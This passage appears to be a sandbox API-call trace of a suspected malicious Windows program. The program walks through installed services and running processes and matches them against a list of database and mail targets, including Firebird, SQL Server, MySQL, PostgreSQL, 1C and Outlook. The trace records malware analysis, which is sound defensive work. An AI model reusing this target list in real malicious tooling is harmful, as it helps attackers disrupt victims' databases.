pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0190.407] CloseServiceHandle (hSCObject=0x633dc8) returned 1 [0190.407] lstrlenW (lpString="Appinfo") returned 7 [0190.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0190.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0190.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0190.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0190.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0190.407] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0190.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0190.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0190.407] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0190.407] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0190.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0190.407] lstrlenW (lpString="AudioSrv") returned 8 [0190.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0190.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0190.407] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0190.407] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0190.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0190.407] lstrlenW (lpString="BFE") returned 3 [0190.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0190.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0190.407] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0190.408] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0190.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0190.408] lstrlenW (lpString="CryptSvc") returned 8 [0190.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0190.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0190.408] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0190.408] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0190.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0190.408] lstrlenW (lpString="CscService") returned 10 [0190.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0190.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0190.408] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0190.408] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0190.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0190.408] lstrlenW (lpString="DcomLaunch") returned 10 [0190.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0190.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0190.408] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0190.408] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0190.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0190.408] lstrlenW (lpString="Dhcp") returned 4 [0190.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0190.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0190.408] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0190.408] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0190.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0190.408] lstrlenW (lpString="Dnscache") returned 8 [0190.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0190.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0190.408] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0190.408] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0190.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0190.409] lstrlenW (lpString="DPS") returned 3 [0190.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0190.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0190.409] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0190.409] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0190.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0190.409] lstrlenW (lpString="eventlog") returned 8 [0190.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0190.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0190.409] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0190.409] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0190.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0190.409] lstrlenW (lpString="EventSystem") returned 11 [0190.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0190.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0190.409] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0190.409] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0190.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0190.409] lstrlenW (lpString="gpsvc") returned 5 [0190.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0190.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0190.409] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0190.409] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0190.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0190.409] lstrlenW (lpString="iphlpsvc") returned 8 [0190.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0190.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0190.409] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0190.409] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0190.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0190.409] lstrlenW (lpString="LanmanServer") returned 12 [0190.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0190.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0190.410] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0190.410] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0190.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0190.410] lstrlenW (lpString="LanmanWorkstation") returned 17 [0190.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0190.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0190.410] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0190.410] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0190.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0190.410] lstrlenW (lpString="lmhosts") returned 7 [0190.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0190.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0190.410] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0190.410] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0190.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0190.410] lstrlenW (lpString="MMCSS") returned 5 [0190.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0190.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0190.410] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0190.410] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0190.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0190.410] lstrlenW (lpString="MpsSvc") returned 6 [0190.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0190.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0190.410] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0190.410] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0190.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0190.410] lstrlenW (lpString="Netman") returned 6 [0190.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0190.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0190.410] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0190.410] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0190.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0190.411] lstrlenW (lpString="netprofm") returned 8 [0190.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0190.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0190.411] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0190.411] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0190.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0190.411] lstrlenW (lpString="NlaSvc") returned 6 [0190.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0190.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0190.411] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0190.411] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0190.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0190.411] lstrlenW (lpString="nsi") returned 3 [0190.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0190.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0190.411] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0190.411] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0190.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0190.411] lstrlenW (lpString="PcaSvc") returned 6 [0190.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0190.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0190.411] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0190.411] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0190.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0190.411] lstrlenW (lpString="PlugPlay") returned 8 [0190.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0190.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0190.411] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0190.411] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0190.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0190.412] lstrlenW (lpString="Power") returned 5 [0190.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0190.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0190.412] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0190.412] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0190.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0190.412] lstrlenW (lpString="ProfSvc") returned 7 [0190.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0190.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0190.412] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0190.412] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0190.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0190.412] lstrlenW (lpString="RpcEptMapper") returned 12 [0190.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0190.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0190.412] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0190.412] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0190.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0190.412] lstrlenW (lpString="RpcSs") returned 5 [0190.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0190.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0190.412] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0190.412] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0190.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0190.412] lstrlenW (lpString="SamSs") returned 5 [0190.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0190.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0190.412] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0190.412] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0190.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0190.412] lstrlenW (lpString="Schedule") returned 8 [0190.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0190.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0190.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0190.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0190.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0190.413] lstrlenW (lpString="SENS") returned 4 [0190.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0190.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0190.413] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0190.413] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0190.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0190.413] lstrlenW (lpString="ShellHWDetection") returned 16 [0190.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0190.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0190.413] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0190.413] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0190.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0190.413] lstrlenW (lpString="Spooler") returned 7 [0190.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0190.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0190.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0190.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0190.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0190.413] lstrlenW (lpString="SysMain") returned 7 [0190.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0190.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0190.413] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0190.413] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0190.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0190.413] lstrlenW (lpString="Themes") returned 6 [0190.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0190.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0190.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0190.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0190.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0190.414] lstrlenW (lpString="TrkWks") returned 6 [0190.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0190.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0190.414] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0190.414] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0190.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0190.414] lstrlenW (lpString="UxSms") returned 5 [0190.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0190.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0190.414] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0190.414] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0190.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0190.414] lstrlenW (lpString="VSS") returned 3 [0190.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0190.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0190.414] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0190.414] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0190.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0190.414] lstrlenW (lpString="WdiServiceHost") returned 14 [0190.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0190.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0190.414] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0190.414] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0190.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0190.414] lstrlenW (lpString="WdiSystemHost") returned 13 [0190.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0190.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0190.414] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0190.414] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0190.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0190.414] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0190.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0190.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0190.415] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0190.415] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0190.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0190.415] lstrlenW (lpString="Winmgmt") returned 7 [0190.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0190.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0190.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0190.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0190.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0190.415] lstrlenW (lpString="WPDBusEnum") returned 10 [0190.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0190.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0190.415] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0190.415] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0190.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0190.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0190.415] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x214 [0190.417] Process32FirstW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.417] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0190.417] lstrlenW (lpString="System") returned 6 [0190.417] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0190.417] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0190.418] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0190.418] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0190.418] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0190.418] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0190.418] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0190.418] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0190.418] lstrlenW (lpString="smss.exe") returned 8 [0190.418] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0190.418] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0190.418] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0190.418] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0190.418] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0190.418] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0190.418] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0190.418] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0190.419] lstrlenW (lpString="csrss.exe") returned 9 [0190.419] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0190.419] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0190.419] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0190.419] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0190.419] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0190.419] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0190.419] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0190.419] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0190.419] lstrlenW (lpString="wininit.exe") returned 11 [0190.419] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0190.419] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0190.419] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0190.419] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0190.419] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0190.419] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0190.419] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0190.419] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0190.420] lstrlenW (lpString="csrss.exe") returned 9 [0190.420] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0190.420] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0190.420] lstrlenW (lpString="winlogon.exe") returned 12 [0190.420] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0190.421] lstrlenW (lpString="services.exe") returned 12 [0190.421] Process32NextW (in: hSnapshot=0x214, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, 